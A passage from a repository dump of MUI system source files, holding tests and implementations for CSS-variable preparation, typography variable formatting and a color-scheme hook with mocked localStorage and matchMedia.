    "content": "import { expect } from 'chai';\nimport prepareCssVars from './prepareCssVars';\n\ndescribe('prepareCssVars', () => {\n  it('`getSelector` should always get a fresh copy of the css', () => {\n    const result = prepareCssVars(\n      {\n        colorSchemes: {\n          light: {\n            color: 'red',\n          },\n          dark: {\n            color: 'blue',\n          },\n        },\n      },\n      {\n        getSelector: (colorScheme, css) => {\n          const color = css['--color'];\n          delete css['--color'];\n          return {\n            [`.${colorScheme}`]: {\n              background: color,\n            },\n          };\n        },\n      },\n    );\n    expect(result.generateStyleSheets()).to.deep.equal([\n      { '.light': { background: 'red' } },\n      { '.dark': { background: 'blue' } },\n    ]);\n\n    // run again should have the same result\n    expect(result.generateStyleSheets()).to.deep.equal([\n      { '.light': { background: 'red' } },\n      { '.dark': { background: 'blue' } },\n    ]);\n  });\n\n  it('delete css fields should not affect the next call', () => {\n    const result = prepareCssVars({\n      colorSchemes: {\n        dark: {\n          color: 'red',\n        },\n      },\n    });\n\n    const css1 = result.generateStyleSheets();\n\n    delete css1[0][':root'];\n\n    expect(css1[0]).to.deep.equal({});\n\n    const css2 = result.generateStyleSheets();\n\n    expect(css2[0]).to.deep.equal({ ':root': { '--color': 'red' } });\n  });\n\n  it('produce theme vars with defaults', () => {\n    const result = prepareCssVars({\n      defaultColorScheme: 'dark',\n      colorSchemes: {\n        dark: {\n          color: 'red',\n        },\n        light: {\n          color: 'green',\n        },\n      },\n      fontSize: {\n        base: '1rem',\n      },\n    });\n    expect(result.vars).to.deep.equal({\n      color: 'var(--color, red)',\n      fontSize: {\n        base: 'var(--fontSize-base, 1rem)',\n      },\n    });\n  });\n\n  it('`generateThemeVars` should have the right structure', () => {\n    const result = prepareCssVars({\n      defaultColorScheme: 'dark',\n      colorSchemes: {\n        dark: {\n          color: 'red',\n        },\n        light: {\n          color: 'green',\n        },\n      },\n      fontSize: {\n        base: '1rem',\n      },\n    });\n    expect(result.generateThemeVars()).to.deep.equal({\n      color: 'var(--color)',\n      fontSize: {\n        base: 'var(--fontSize-base)',\n      },\n    });\n  });\n\n  it('`generateThemeVars` should have the provided prefix', () => {\n    const result = prepareCssVars(\n      {\n        defaultColorScheme: 'dark',\n        colorSchemes: {\n          dark: {\n            color: 'red',\n          },\n          light: {\n            color: 'green',\n          },\n        },\n        fontSize: {\n          base: '1rem',\n        },\n      },\n      { prefix: 'mui' },\n    );\n    expect(result.generateThemeVars()).to.deep.equal({\n      color: 'var(--mui-color)',\n      fontSize: {\n        base: 'var(--mui-fontSize-base)',\n      },\n    });\n  });\n\n  it('`generateStyleSheets` should have the right sequence', () => {\n    const result = prepareCssVars(\n      {\n        defaultColorScheme: 'dark',\n        colorSchemes: {\n          dark: {\n            color: 'red',\n          },\n          light: {\n            color: 'green',\n          },\n        },\n        fontSize: {\n          base: '1rem',\n        },\n      },\n      { colorSchemeSelector: 'data-color-scheme' },\n    );\n\n    const stylesheets = result.generateStyleSheets();\n    expect(stylesheets).to.deep.equal([\n      { ':root': { '--fontSize-base': '1rem' } },\n      { ':root, [data-color-scheme=\"dark\"]': { '--color': 'red' } },\n      { '[data-color-scheme=\"light\"]': { '--color': 'green' } },\n    ]);\n  });\n\n  it('`generateStyleSheets` respect the `getSelector` input', () => {\n    const result = prepareCssVars(\n      {\n        defaultColorScheme: 'dark',\n        colorSchemes: {\n          dark: {\n            color: 'red',\n            background: '#000',\n          },\n          light: {\n            color: 'green',\n            background: '#fff',\n          },\n        },\n        fontSize: {\n          base: '1rem',\n        },\n      },\n      {\n        prefix: 'mui',\n        getSelector: (colorScheme, css) => {\n          if (colorScheme === 'dark') {\n            const exclusion: Record<string, any> = {};\n            Object.keys(css).forEach((key) => {\n              if (key.endsWith('background')) {\n                exclusion[key] = css[key];\n                delete css[key];\n              }\n            });\n            return {\n              '.dark': exclusion,\n              '.root, .dark': css,\n            };\n          }\n          if (colorScheme) {\n            return `.${colorScheme}`;\n          }\n          return '.root';\n        },\n      },\n    );\n\n    const stylesheets = result.generateStyleSheets();\n    expect(stylesheets).to.deep.equal([\n      { '.root': { '--mui-fontSize-base': '1rem' } },\n      { '.dark': { '--mui-background': '#000' }, '.root, .dark': { '--mui-color': 'red' } },\n      { '.light': { '--mui-color': 'green', '--mui-background': '#fff' } },\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/prepareCssVars.ts",
    "content": "import deepmerge from '@mui/utils/deepmerge';\nimport cssVarsParser from './cssVarsParser';\n\nexport interface DefaultCssVarsTheme {\n  colorSchemes?: Record<string, any> | undefined;\n  defaultColorScheme?: string | undefined;\n}\n\nfunction prepareCssVars<T extends DefaultCssVarsTheme, ThemeVars extends Record<string, any>>(\n  theme: T,\n  parserConfig: {\n    prefix?: string | undefined;\n    colorSchemeSelector?: 'media' | 'class' | 'data' | string | undefined;\n    disableCssColorScheme?: boolean | undefined;\n    enableContrastVars?: boolean | undefined;\n    shouldSkipGeneratingVar?:\n      | ((objectPathKeys: Array<string>, value: string | number) => boolean)\n      | undefined;\n    getSelector?:\n      | ((\n          colorScheme: keyof T['colorSchemes'] | undefined,\n          css: Record<string, any>,\n        ) => string | Record<string, any>)\n      | undefined;\n  } = {},\n) {\n  const {\n    getSelector = defaultGetSelector,\n    disableCssColorScheme,\n    colorSchemeSelector: selector,\n    enableContrastVars,\n  } = parserConfig;\n  // @ts-ignore - ignore components do not exist\n  const { colorSchemes = {}, components, defaultColorScheme = 'light', ...otherTheme } = theme;\n  const {\n    vars: rootVars,\n    css: rootCss,\n    varsWithDefaults: rootVarsWithDefaults,\n  } = cssVarsParser<ThemeVars>(otherTheme, parserConfig);\n  let themeVars = rootVarsWithDefaults as unknown as ThemeVars;\n\n  const colorSchemesMap: Record<string, { css: Record<string, string | number>; vars: ThemeVars }> =\n    {};\n  const { [defaultColorScheme]: defaultScheme, ...otherColorSchemes } = colorSchemes;\n  Object.entries(otherColorSchemes || {}).forEach(([key, scheme]) => {\n    const { vars, css, varsWithDefaults } = cssVarsParser<ThemeVars>(scheme, parserConfig);\n    themeVars = deepmerge(themeVars, varsWithDefaults);\n    colorSchemesMap[key] = { css, vars };\n  });\n  if (defaultScheme) {\n    // default color scheme vars should be merged last to set as default\n    const { css, vars, varsWithDefaults } = cssVarsParser<ThemeVars>(defaultScheme, parserConfig);\n    themeVars = deepmerge(themeVars, varsWithDefaults);\n    colorSchemesMap[defaultColorScheme] = { css, vars };\n  }\n\n  function defaultGetSelector(\n    colorScheme: keyof T['colorSchemes'] | undefined,\n    cssObject: Record<string, any>,\n  ) {\n    let rule = selector;\n    if (selector === 'class') {\n      rule = '.%s';\n    }\n    if (selector === 'data') {\n      rule = '[data-%s]';\n    }\n    if (selector?.startsWith('data-') && !selector.includes('%s')) {\n      // 'data-joy-color-scheme' -> '[data-joy-color-scheme=\"%s\"]'\n      rule = `[${selector}=\"%s\"]`;\n    }\n    if (colorScheme) {\n      if (rule === 'media') {\n        if (theme.defaultColorScheme === colorScheme) {\n          return ':root';\n        }\n        const mode = colorSchemes[colorScheme as string]?.palette?.mode || colorScheme;\n        return {\n          [`@media (prefers-color-scheme: ${mode})`]: {\n            ':root': cssObject,\n          },\n        };\n      }\n      if (rule) {\n        if (theme.defaultColorScheme === colorScheme) {\n          return `:root, ${rule.replace('%s', String(colorScheme))}`;\n        }\n        return rule.replace('%s', String(colorScheme));\n      }\n    }\n    return ':root';\n  }\n\n  const generateThemeVars = () => {\n    let vars = { ...rootVars };\n    Object.entries(colorSchemesMap).forEach(([, { vars: schemeVars }]) => {\n      vars = deepmerge(vars, schemeVars);\n    });\n    return vars;\n  };\n\n  const generateStyleSheets = () => {\n    const stylesheets: Array<Record<string, any>> = [];\n    const colorScheme = theme.defaultColorScheme || 'light';\n    function insertStyleSheet(key: string | object, css: Record<string, string | number>) {\n      if (Object.keys(css).length) {\n        stylesheets.push(typeof key === 'string' ? { [key]: { ...css } } : key);\n      }\n    }\n    insertStyleSheet(getSelector(undefined, { ...rootCss }), rootCss);\n\n    const { [colorScheme]: defaultSchemeVal, ...other } = colorSchemesMap;\n\n    if (defaultSchemeVal) {\n      // default color scheme has to come before other color schemes\n      const { css } = defaultSchemeVal;\n      const cssColorSheme = colorSchemes[colorScheme]?.palette?.mode;\n      const finalCss =\n        !disableCssColorScheme && cssColorSheme\n          ? { colorScheme: cssColorSheme, ...css }\n          : { ...css };\n      insertStyleSheet(\n        getSelector(colorScheme as keyof T['colorSchemes'], { ...finalCss }),\n        finalCss,\n      );\n    }\n\n    Object.entries(other).forEach(([key, { css }]) => {\n      const cssColorSheme = colorSchemes[key]?.palette?.mode;\n      const finalCss =\n        !disableCssColorScheme && cssColorSheme\n          ? { colorScheme: cssColorSheme, ...css }\n          : { ...css };\n      insertStyleSheet(getSelector(key as keyof T['colorSchemes'], { ...finalCss }), finalCss);\n    });\n\n    if (enableContrastVars) {\n      stylesheets.push({\n        ':root': {\n          // use double underscore to indicate that these are private variables\n          '--__l-threshold': '0.7',\n          '--__l': 'clamp(0, (l / var(--__l-threshold) - 1) * -infinity, 1)',\n          '--__a': 'clamp(0.87, (l / var(--__l-threshold) - 1) * -infinity, 1)', // 0.87 is the default alpha value for black text.\n        },\n      });\n    }\n\n    return stylesheets;\n  };\n\n  return {\n    vars: themeVars,\n    generateThemeVars,\n    generateStyleSheets,\n  };\n}\n\nexport default prepareCssVars;\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/prepareTypographyVars.test.ts",
    "content": "import { expect } from 'chai';\nimport { createTheme } from '@mui/material/styles';\nimport prepareTypographyVars from './prepareTypographyVars';\n\ndescribe('prepareTypographyVars', () => {\n  it('should prepare typography vars', () => {\n    const theme = createTheme();\n    expect(prepareTypographyVars(theme.typography)).to.deep.equal({\n      body1: '400 1rem/1.5 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      body2: '400 0.875rem/1.43 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      button: '500 0.875rem/1.75 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      caption: '400 0.75rem/1.66 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      h1: '300 6rem/1.167 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      h2: '300 3.75rem/1.2 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      h3: '400 3rem/1.167 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      h4: '400 2.125rem/1.235 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      h5: '400 1.5rem/1.334 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      h6: '500 1.25rem/1.6 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      inherit: 'inherit inherit/inherit inherit',\n      overline: '400 0.75rem/2.66 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      subtitle1: '400 1rem/1.75 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      subtitle2: '500 0.875rem/1.57 \"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/prepareTypographyVars.ts",
    "content": "type RecordPropertyNames<T> = {\n  [K in keyof T]: T[K] extends Function ? never : T[K] extends Record<string, any> ? K : never;\n}[keyof T];\n\nexport type ExtractTypographyTokens<T> = { [K in RecordPropertyNames<T>]: string };\n\nexport default function prepareTypographyVars<T extends Record<string, any>>(typography: T) {\n  const vars: Record<string, string | number> = {};\n  const entries = Object.entries(typography);\n  entries.forEach((entry) => {\n    const [key, value] = entry;\n    if (typeof value === 'object') {\n      vars[key] =\n        `${value.fontStyle ? `${value.fontStyle} ` : ''}${value.fontVariant ? `${value.fontVariant} ` : ''}${value.fontWeight ? `${value.fontWeight} ` : ''}${value.fontStretch ? `${value.fontStretch} ` : ''}${value.fontSize || ''}${value.lineHeight ? `/${value.lineHeight} ` : ''}${value.fontFamily || ''}`;\n    }\n  });\n  return vars as ExtractTypographyTokens<T>;\n}\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/useCurrentColorScheme.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, fireEvent, act, screen } from '@mui/internal-test-utils';\nimport {\n  DEFAULT_MODE_STORAGE_KEY,\n  DEFAULT_COLOR_SCHEME_STORAGE_KEY,\n} from '../InitColorSchemeScript/InitColorSchemeScript';\nimport useCurrentColorScheme, { getColorScheme } from './useCurrentColorScheme';\n\ndescribe('useCurrentColorScheme', () => {\n  const { render } = createRenderer();\n  let originalMatchmedia;\n  let originalAddEventListener;\n  let storage = {};\n  const eventHandlers = new Map();\n  let trigger;\n\n  const createMatchMedia = (matches) => () => ({\n    matches,\n    // Keep mocking legacy methods because @mui/material v5 still uses them\n    addListener: (listener) => {\n      trigger = listener;\n    },\n    addEventListener: (listener) => {\n      trigger = listener;\n    },\n    removeListener: () => {},\n    removeEventListener: () => {},\n  });\n\n  beforeAll(() => {\n    originalAddEventListener = window.addEventListener;\n    window.addEventListener = (key, handler) => {\n      if (eventHandlers.has(key)) {\n        eventHandlers.get(key).listeners.push(handler);\n      } else {\n        eventHandlers.set(key, {\n          listeners: [handler],\n          broadcastEvent(event) {\n            this.listeners.forEach((listener) => {\n              listener(event);\n            });\n          },\n        });\n      }\n    };\n  });\n\n  afterAll(() => {\n    window.addEventListener = originalAddEventListener;\n  });\n\n  beforeEach(() => {\n    originalMatchmedia = window.matchMedia;\n    // clear the localstorage\n    storage = {};\n    // Create mocks of localStorage getItem and setItem functions\n    Object.defineProperty(window, 'localStorage', {\n      value: {\n        getItem: spy((key) => storage[key]),\n        setItem: spy((key, value) => {\n          storage[key] = value;\n        }),\n      },\n      configurable: true,\n    });\n\n    window.matchMedia = createMatchMedia(false);\n  });\n\n  afterEach(() => {\n    window.matchMedia = originalMatchmedia;\n  });\n\n  it('does not trigger a re-render for a single color scheme', () => {\n    function Data() {\n      const { mode } = useCurrentColorScheme({\n        defaultMode: 'dark',\n        supportedColorSchemes: ['dark'],\n      });\n      const count = React.useRef(0);\n      React.useEffect(() => {\n        count.current += 1;\n      });\n      return (\n        <div>\n          {mode}:{count.current}\n        </div>\n      );\n    }\n    const { container } = render(<Data />);\n\n    expect(container.firstChild.textContent).to.equal('dark:0');\n  });\n\n  it('trigger a re-render for a multi color schemes', () => {\n    let effectRunCount = 0;\n    function Data() {\n      const { mode } = useCurrentColorScheme({\n        supportedColorSchemes: ['light', 'dark'],\n        defaultLightColorScheme: 'light',\n        defaultDarkColorScheme: 'dark',\n      });\n      React.useEffect(() => {\n        effectRunCount += 1;\n      });\n      return <div>{mode}</div>;\n    }\n\n    const { container } = render(<Data />);\n\n    expect(container.firstChild.textContent).to.equal('light');\n    expect(effectRunCount).to.equal(3);\n  });\n\n  it('[noSsr] does not trigger a re-render', () => {\n    function Data() {\n      const { mode } = useCurrentColorScheme({\n        defaultMode: 'dark',\n        supportedColorSchemes: ['light', 'dark'],\n        noSsr: true,\n      });\n      const count = React.useRef(0);\n      React.useEffect(() => {\n        count.current += 1;\n      });\n      return (\n        <div>\n          {mode}:{count.current}\n        </div>\n      );\n    }\n    const { container } = render(<Data />);\n\n    expect(container.firstChild.textContent).to.equal('dark:0');\n  });\n\n  describe('getColorScheme', () => {\n    it('use lightColorScheme given mode=light', () => {\n      expect(getColorScheme({ mode: 'light', lightColorScheme: 'light' })).to.equal('light');\n    });\n\n    it('use darkColorScheme given mode=dark', () => {\n      expect(getColorScheme({ mode: 'dark', darkColorScheme: 'dark' })).to.equal('dark');\n    });\n\n    it('use lightColorScheme given mode=system, systemMode=light', () => {\n      expect(\n        getColorScheme({ mode: 'system', systemMode: 'light', lightColorScheme: 'light' }),\n      ).to.equal('light');\n    });\n\n    it('use lightColorScheme given mode=system, systemMode=dark', () => {\n      expect(\n        getColorScheme({ mode: 'system', systemMode: 'dark', darkColorScheme: 'dark' }),\n      ).to.equal('dark');\n    });\n\n    it('return undefined if no conditions are matched', () => {\n      expect(\n        getColorScheme({ mode: undefined, lightColorScheme: 'light', darkColorScheme: 'dark' }),\n      ).to.equal(undefined);\n      expect(\n        getColorScheme({ mode: 'unknown', lightColorScheme: 'light', darkColorScheme: 'dark' }),\n      ).to.equal(undefined);\n      expect(\n        getColorScheme({\n          mode: 'system',\n          systemMode: undefined,\n          lightColorScheme: 'light',\n          darkColorScheme: 'dark',\n        }),\n      ).to.equal(undefined);\n    });\n  });\n\n  describe('Client', () => {\n    it('has default mode=`light`', () => {\n      function Data() {\n        const data = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return <div>{JSON.stringify(data)}</div>;\n      }\n      const { container } = render(<Data />);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'light',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'light',\n      });\n    });\n\n    it('defaultMode=`dark`', () => {\n      function Data() {\n        const data = useCurrentColorScheme({\n          defaultMode: 'dark',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return <div>{JSON.stringify(data)}</div>;\n      }\n      const { container } = render(<Data />);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'dark',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'dark',\n      });\n    });\n\n    it('defaultMode=`system`', () => {\n      function Data() {\n        const data = useCurrentColorScheme({\n          defaultMode: 'system',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return <div>{JSON.stringify(data)}</div>;\n      }\n      const { container } = render(<Data />);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'system',\n        systemMode: 'light',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'light',\n      });\n\n      act(() => {\n        trigger({ matches: true }); // system matches 'prefers-color-scheme: dark'\n      });\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'system',\n        systemMode: 'dark',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'dark',\n      });\n    });\n\n    it('change to `dark` mode', () => {\n      function Data() {\n        const { setMode, ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return <button onClick={() => setMode('dark')}>{JSON.stringify(data)}</button>;\n      }\n      const { container } = render(<Data />);\n\n      fireEvent.click(container.firstChild);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'dark',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'dark',\n      });\n    });\n\n    it('change to `system` mode', () => {\n      window.matchMedia = createMatchMedia(true); // system matches 'prefers-color-scheme: dark'\n      function Data() {\n        const { setMode, ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return <button onClick={() => setMode('system')}>{JSON.stringify(data)}</button>;\n      }\n      const { container } = render(<Data />);\n\n      fireEvent.click(container.firstChild);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'system',\n        systemMode: 'dark',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'dark',\n      });\n    });\n\n    it('reset mode', () => {\n      function Data() {\n        const { setMode, ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return (\n          <div>\n            <div data-testid=\"data\">{JSON.stringify(data)}</div>\n            <button data-testid=\"dark\" onClick={() => setMode('dark')} />\n            <button data-testid=\"reset\" onClick={() => setMode(null)} />\n          </div>\n        );\n      }\n      render(<Data />);\n\n      fireEvent.click(screen.getByTestId('dark'));\n\n      fireEvent.click(screen.getByTestId('reset'));\n\n      expect(JSON.parse(screen.getByTestId('data').textContent)).to.deep.equal({\n        mode: 'light',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'light',\n      });\n    });\n\n    it('change colorScheme when mode is `light` should change `lightColorScheme`', () => {\n      function Data() {\n        const { setColorScheme, ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'paper', 'dark'],\n        });\n        return <button onClick={() => setColorScheme('paper')}>{JSON.stringify(data)}</button>;\n      }\n      const { container } = render(<Data />);\n\n      fireEvent.click(container.firstChild);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'light',\n        lightColorScheme: 'paper',\n        darkColorScheme: 'dark',\n        colorScheme: 'paper',\n      });\n    });\n\n    it('change colorScheme when mode is `system` should look at systemMode', () => {\n      window.matchMedia = createMatchMedia(true); // system matches 'prefers-color-scheme: dark'\n      function Data() {\n        const { setColorScheme, ...data } = useCurrentColorScheme({\n          defaultMode: 'system',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'paper', 'dark', 'dim'],\n        });\n        return <button onClick={() => setColorScheme('dim')}>{JSON.stringify(data)}</button>;\n      }\n      const { container } = render(<Data />);\n\n      fireEvent.click(container.firstChild);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'system',\n        systemMode: 'dark',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dim',\n        colorScheme: 'dim',\n      });\n    });\n\n    it('change both light & dark color scheme at the same time', () => {\n      function Data() {\n        const { setColorScheme, ...data } = useCurrentColorScheme({\n          defaultMode: 'system',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'paper', 'dark', 'dim'],\n        });\n        return (\n          <button onClick={() => setColorScheme({ light: 'paper', dark: 'dim' })}>\n            {JSON.stringify(data)}\n          </button>\n        );\n      }\n      const { container } = render(<Data />);\n\n      fireEvent.click(container.firstChild);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'system',\n        systemMode: 'light',\n        lightColorScheme: 'paper',\n        darkColorScheme: 'dim',\n        colorScheme: 'paper',\n      });\n\n      act(() => {\n        trigger({ matches: true }); // system matches 'prefers-color-scheme: dark'\n      });\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'system',\n        systemMode: 'dark',\n        lightColorScheme: 'paper',\n        darkColorScheme: 'dim',\n        colorScheme: 'dim',\n      });\n    });\n\n    it('change only the mode specified as key', () => {\n      function Data() {\n        const { setColorScheme, ...data } = useCurrentColorScheme({\n          defaultMode: 'light',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'paper', 'dark', 'dim'],\n        });\n        return (\n          <div>\n            <div data-testid=\"data\">{JSON.stringify(data)}</div>\n            <button onClick={() => setColorScheme('paper')}>first</button>\n            <button onClick={() => setColorScheme({ dark: 'dim' })}>second</button>\n          </div>\n        );\n      }\n      render(<Data />);\n\n      fireEvent.click(screen.getByText('first'));\n\n      expect(JSON.parse(screen.getByTestId('data').textContent)).to.deep.equal({\n        mode: 'light',\n        lightColorScheme: 'paper',\n        darkColorScheme: 'dark',\n        colorScheme: 'paper',\n      });\n\n      fireEvent.click(screen.getByText('second'));\n\n      expect(JSON.parse(screen.getByTestId('data').textContent)).to.deep.equal({\n        mode: 'light',\n        lightColorScheme: 'paper',\n        darkColorScheme: 'dim',\n        colorScheme: 'paper',\n      });\n    });\n\n    it('able to setMode and setColorScheme in the same event', () => {\n      function Data() {\n        const { setColorScheme, setMode, ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'paper', 'dark', 'dim'],\n        });\n        return (\n          <button\n            onClick={() => {\n              setMode('dark');\n              setColorScheme({ light: 'paper', dark: 'dim' });\n            }}\n          >\n            {JSON.stringify(data)}\n          </button>\n        );\n      }\n      const { container } = render(<Data />);\n\n      fireEvent.click(container.firstChild);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'dark',\n        lightColorScheme: 'paper',\n        darkColorScheme: 'dim',\n        colorScheme: 'dim',\n      });\n    });\n\n    it('reset colorScheme', () => {\n      function Data() {\n        const { setColorScheme, ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return (\n          <div>\n            <div data-testid=\"data\">{JSON.stringify(data)}</div>\n            <button data-testid=\"dark\" onClick={() => setColorScheme('dark')} />\n            <button data-testid=\"reset\" onClick={() => setColorScheme(null)} />\n          </div>\n        );\n      }\n      render(<Data />);\n\n      fireEvent.click(screen.getByTestId('dark'));\n\n      fireEvent.click(screen.getByTestId('reset'));\n\n      expect(JSON.parse(screen.getByTestId('data').textContent)).to.deep.equal({\n        mode: 'light',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'light',\n      });\n    });\n\n    it('reset light & dark colorScheme', () => {\n      function Data() {\n        const { setColorScheme, ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark', 'light-dim', 'dark-dim'],\n        });\n        return (\n          <div>\n            <div data-testid=\"data\">{JSON.stringify(data)}</div>\n            <button\n              data-testid=\"dark\"\n              onClick={() => setColorScheme({ light: 'light-dim', dark: 'dark-dim' })}\n            />\n            <button\n              data-testid=\"reset\"\n              onClick={() => setColorScheme({ light: null, dark: null })}\n            />\n          </div>\n        );\n      }\n      render(<Data />);\n\n      fireEvent.click(screen.getByTestId('dark'));\n\n      fireEvent.click(screen.getByTestId('reset'));\n\n      expect(JSON.parse(screen.getByTestId('data').textContent)).to.deep.equal({\n        mode: 'light',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'light',\n      });\n    });\n  });\n\n  describe('Storage', () => {\n    it('save dark mode', () => {\n      function Data() {\n        const { setMode, ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return (\n          <button\n            onClick={() => {\n              setMode('dark');\n            }}\n          >\n            {JSON.stringify(data)}\n          </button>\n        );\n      }\n      const { container } = render(<Data />);\n\n      fireEvent.click(container.firstChild);\n\n      expect(\n        window.localStorage.setItem.lastCall.calledWith(DEFAULT_MODE_STORAGE_KEY, 'dark'),\n      ).to.equal(true);\n    });\n\n    it('save lightColorScheme and darkColorScheme', () => {\n      function Data() {\n        const { setMode, setColorScheme, ...data } = useCurrentColorScheme({\n          defaultMode: 'system',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark', 'dim'],\n        });\n        return (\n          <button\n            onClick={() => {\n              setMode('dark');\n              setColorScheme('dim');\n            }}\n          >\n            {JSON.stringify(data)}\n          </button>\n        );\n      }\n      const { container } = render(<Data />);\n\n      fireEvent.click(container.firstChild);\n\n      expect(window.localStorage.setItem.calledWith(DEFAULT_MODE_STORAGE_KEY, 'dark')).to.equal(\n        true,\n      );\n      expect(\n        window.localStorage.setItem.calledWith(`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-dark`, 'dim'),\n      ).to.equal(true);\n    });\n\n    it('use mode from localStorage if exists', () => {\n      storage[DEFAULT_MODE_STORAGE_KEY] = 'dark';\n      function Data() {\n        const { setMode, setColorScheme, ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return <div>{JSON.stringify(data)}</div>;\n      }\n      const { container } = render(<Data />);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'dark',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'dark',\n      });\n    });\n\n    it('use mode & colorScheme from localStorage if exists', () => {\n      storage[DEFAULT_MODE_STORAGE_KEY] = 'dark';\n      storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-dark`] = 'dim';\n      function Data() {\n        const { setMode, setColorScheme, ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark', 'dim'],\n        });\n        return <div>{JSON.stringify(data)}</div>;\n      }\n      const { container } = render(<Data />);\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'dark',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dim',\n        colorScheme: 'dim',\n      });\n    });\n\n    it('storage mode changes from `light` to `dark`', () => {\n      function Data() {\n        const { ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return <button>{JSON.stringify(data)}</button>;\n      }\n      const { container } = render(<Data />);\n\n      act(() => {\n        eventHandlers\n          .get('storage')\n          .broadcastEvent?.({ key: DEFAULT_MODE_STORAGE_KEY, newValue: 'dark' });\n      });\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'dark',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'dark',\n      });\n    });\n\n    it('storage 